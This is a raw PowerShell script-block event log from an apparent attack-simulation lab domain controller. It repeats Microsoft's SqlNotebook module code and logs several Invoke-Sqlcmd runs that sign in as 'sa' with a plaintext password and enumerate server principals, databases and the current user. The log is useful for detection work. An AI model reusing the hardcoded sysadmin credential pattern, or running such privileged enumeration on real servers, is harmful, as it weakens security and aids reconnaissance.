4104152150x0517643Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell90115e4e-7fb7-48b7-b891-38abbc3eb258C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0517637Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificateef2a8387-13ac-4769-86f1-c3d51908efce
4104152150x0517436Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storinge0b0777c-3b92-4ff8-9e10-520dcd89a5b9C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0517430Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificate2967fb2e-59b0-4cae-9a0a-fb861c0e42e4
4104152150x0517223Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificate373a6378-903e-483d-ad3c-ddc2cec313ca
4104152150x0517017Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificate7a447e22-5859-4e77-a43e-e4c3549d0a7f
4104152150x0516670Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate36c9264b-4a2c-42de-8590-dbb70f33c8cd
4104152150x0516464Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificatea92dfbf1-e7aa-408d-a331-343308b2ba00
4104152150x0516257Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificate7b602f78-ec61-49c1-a820-7c30f9a7999b
4104152150x0516056Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
